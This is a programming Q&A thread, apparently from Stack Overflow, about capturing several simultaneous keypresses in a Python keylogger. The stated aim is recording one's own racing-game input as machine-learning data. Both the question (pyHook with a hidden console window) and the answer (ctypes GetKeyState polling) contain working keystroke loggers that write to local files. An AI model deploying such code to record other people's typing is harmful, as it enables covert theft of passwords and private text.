Reputation: 115
My attempt is as below, it captures well when i'm typing, but sucks if multiple key pressed. It only capture the first pressed key.
I removed all unrelated to keylogging.
import win32console
import win32gui
import pythoncom, pyHook
import threading
import pickle
class keylogger(object):
def init(self, ifPrintDetail = False):
self.keylog_enable = False
self.ifPrintDetail = ifPrintDetail
self.log = ''
def KeyEvent(self, event):
if self.keylog_enable:
self.log += event.Key
if self.ifPrintDetail:
print ('MessageName:',event.MessageName )
print ('Message:',event.Message)
print ('Time:',event.Time)
print ('Window:',event.Window)
print ('WindowName:',event.WindowName)
print ('Ascii:', event.Ascii, chr(event.Ascii) )
print ('Key:', event.Key)
print ('KeyID:', event.KeyID)
print ('ScanCode:', event.ScanCode)
print ('Extended:', event.Extended)
print ('Injected:', event.Injected)
print ('Alt', event.Alt)
print ('Transition', event.Transition)
print ('---')
elif event.MessageName == 'key down':
print(event.Key, end='')
def threadkeylog(self):
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
# create a hook manager object for both key up and down
self.hm=pyHook.HookManager()
#i want both up and down key event
self.hm.KeyDown = self.KeyEvent
self.hm.KeyUp = self.KeyEvent
# set the hook
self.hm.HookKeyboard()
#start sending messages, this seems not to stop except WM_QUIT
pythoncom.PumpMessages()
def go(self):
#build and start a thread
self.keylog_enable = True
self.threadkl = threading.Thread(target = self.threadkeylog)
self.threadkl.start()
def pause(self):
self.keylog_enable = False
def save(self):
pickle.dump(self.log, open('keylog.txt', 'wb'))
You may use it with
kl = keylogger()
kl.init()
kl.go()#build and run a thread
kl.pause()#"pause" the thread
kl.save()#will save what you have typed to a file in working directory
print(pickle.load(open('keylog.txt', "rb")))#take a look at it
I do this to collect key log of myself playing car racing game, for training data of my machine learning project. So, say, if I control my racing car with simple "WASD" buttons, I would probably hold "W" and "A" to turn left and accelerate. So, I would like to have both of them captured at the same time, but those keys conflicts, and it capture only one character.
Upvotes: 0
Views: 1739
Reputation: 56
Using ctypes alone you can make quite an effective keylogger.
ctypes allows you to check if a key is currently pressed, or toggled.
If you set up a dictionary where all the keys are virtual keycodes and all of the values are the keycode's respective string character then you can iterate through the dictionary, and check if the key is pressed.
Having another dictionary called TrackedKeys which is empty, you can just set TrackedKeys[key] = The bool returned by the ctypes function which sees if a key is pressed when you are ticking in your "main loop" (A while true in the main python file).
then when you update the value of trackedkeys before doing so you can see if the value in trackedkey is different from the value returned by ctypes checking if a key is pressed, and if it is then call a function and pass either "key up" or "key down" to that function.
import threading, time
from ctypes import *
class Thread():
def __init__(self, addressOf, args):
self.terminate = False
self.Instance = threading.Thread(target=addressOf, args=args)
self.Instance.daemon = True
self.Instance.start()
VKStr = {}
VKStr[0x01] = "LEFT_MOUSEE"
VKStr[0x02] = "RIGHT_MOUSE"
VKStr[0x03] = "MIDDLE_MOUSE"
VKStr[0x08] = "BACKSPACE"
VKStr[0x09] = "TAB"
VKStr[0x0D] = "ENTER"
VKStr[0x10] = "SHIFT"
VKStr[0x11] = "CTRL"
VKStr[0x12] = "ALT"
VKStr[0x14] = "CAPSLOCK"
VKStr[0x18] = "ESCAPE"
VKStr[0x20] = " "
VKStr[0x25] = "LEFT_ARROW"
VKStr[0x26] = "UP_ARROW"
VKStr[0x27] = "RIGHT_ARROW"
VKStr[0x28] = "DOWN_ARROW"
VKStr[0x2C] = "PRINT_SCREEN"
VKStr[0x30] = "0"
VKStr[0x31] = "1"
VKStr[0x32] = "2"
VKStr[0x33] = "3"
VKStr[0x34] = "4"
VKStr[0x35] = "5"
VKStr[0x36] = "6"
VKStr[0x37] = "7"
VKStr[0x38] = "8"
VKStr[0x39] = "9"
VKStr[0x41] = "a"
VKStr[0x42] = "b"
VKStr[0x43] = "c"
VKStr[0x44] = "d"
VKStr[0x45] = "e"
VKStr[0x46] = "f"
VKStr[0x47] = "g"
VKStr[0x48] = "h"
VKStr[0x49] = "i"
VKStr[0x4A] = "j"
VKStr[0x4B] = "k"
VKStr[0x4C] = "l"
VKStr[0x4D] = "m"
VKStr[0x4E] = "n"
VKStr[0x4F] = "o"
VKStr[0x50] = "p"
VKStr[0x51] = "q"
VKStr[0x52] = "r"
VKStr[0x53] = "s"
VKStr[0x54] = "t"
VKStr[0x55] = "u"
VKStr[0x56] = "v"
VKStr[0x57] = "w"
VKStr[0x58] = "x"
VKStr[0x59] = "y"
VKStr[0x5A] = "z"
ShiftEquivs={}
ShiftEquivs[0x30] = ")"
ShiftEquivs[0x31] = "!"
ShiftEquivs[0x32] = "\""
ShiftEquivs[0x33] = "£"
ShiftEquivs[0x34] = "$"
ShiftEquivs[0x35] = "%"
ShiftEquivs[0x36] = "^"
ShiftEquivs[0x37] = "&"
ShiftEquivs[0x38] = "*"
ShiftEquivs[0x39] = "("
ActiveKeys = {}
def StringToVK(string):
for key, value in VKStr.items():
if value == string:
return key
def VKToString(VK):
return VKStr[VK]
def IsKeyPressed(VK_KEYCODE):
if type(VK_KEYCODE) == str:
try:
VK_KEYCODE = StringToVK(VK_KEYCODE)
except:
raise Exception("Exception caught in sub: 'IsKeyPressed' arg VK_KEYCODE is invalid")
return
return windll.user32.GetKeyState(c_int(VK_KEYCODE)) & 0x8000 != 0
def IsKeyToggled(VK_KEYCODE):
return windll.user32.GetKeyState(c_int(VK_KEYCODE)) & 0x0001 != 0
class KeyTracker:
def __init__(self):
self.tracking = False
self.tracked_string_concat = ""
self.file_open = False
def StartTracking(self):
self.tracking = True
def StopTracking(self):
self.tracking = False
self.CompileData()
def KeyDown(self, key):
if self.tracking and VKToString(key) != "SHIFT":
if IsKeyToggled(StringToVK("CAPSLOCK")):
self.tracked_string_concat = self.tracked_string_concat + VKToString(key).upper()
elif IsKeyPressed(StringToVK("SHIFT")):
shiftEquiv = False
try:
ShiftEquivs[key]
shiftEquiv = True
except:
pass
if shiftEquiv:
self.tracked_string_concat = self.tracked_string_concat + ShiftEquivs[key]
else:
self.tracked_string_concat = self.tracked_string_concat + VKToString(key).upper()
else:
self.tracked_string_concat = self.tracked_string_concat + VKToString(key)
def KeyUp(self, key):
if self.tracking and VKToString(key) == "SHIFT":
#self.tracked_string_concat = self.tracked_string_concat + VKToString(key)
pass
def UpdateKeyState(self, key, state):
def SetKeyState(key, state):
ActiveKeys[key] = state
if state == True:
self.KeyDown(key)
elif state == False:
self.KeyUp(key)
keyExists = False
try:
ActiveKeys[key]
keyExists = True
except:
pass
if keyExists:
if ActiveKeys[key] != state:
SetKeyState(key, state)
else:
SetKeyState(key, state)
def CompileData(self):
try:
file = open("logger_data.txt", "a")
file.write("\n")
file.write("-"*15)
file.write("\n")
file.write(self.tracked_string_concat)
file.close()
except:
pass
def TrackData(self, time_length): #timeLength in seconds
KeyTracker.StartTracking()
time.sleep(time_length)
KeyTracker.StopTracking()
KeyTracker = KeyTracker()
t = Thread(KeyTracker.TrackData, [5])
while True:
for key, key_name in VKStr.items():
KeyTracker.UpdateKeyState(key, IsKeyPressed(key))
change the argument passed to the thread stored in the variable t to change how long your keylogger records data for, 5 is just a short testing value.
Upvotes: 2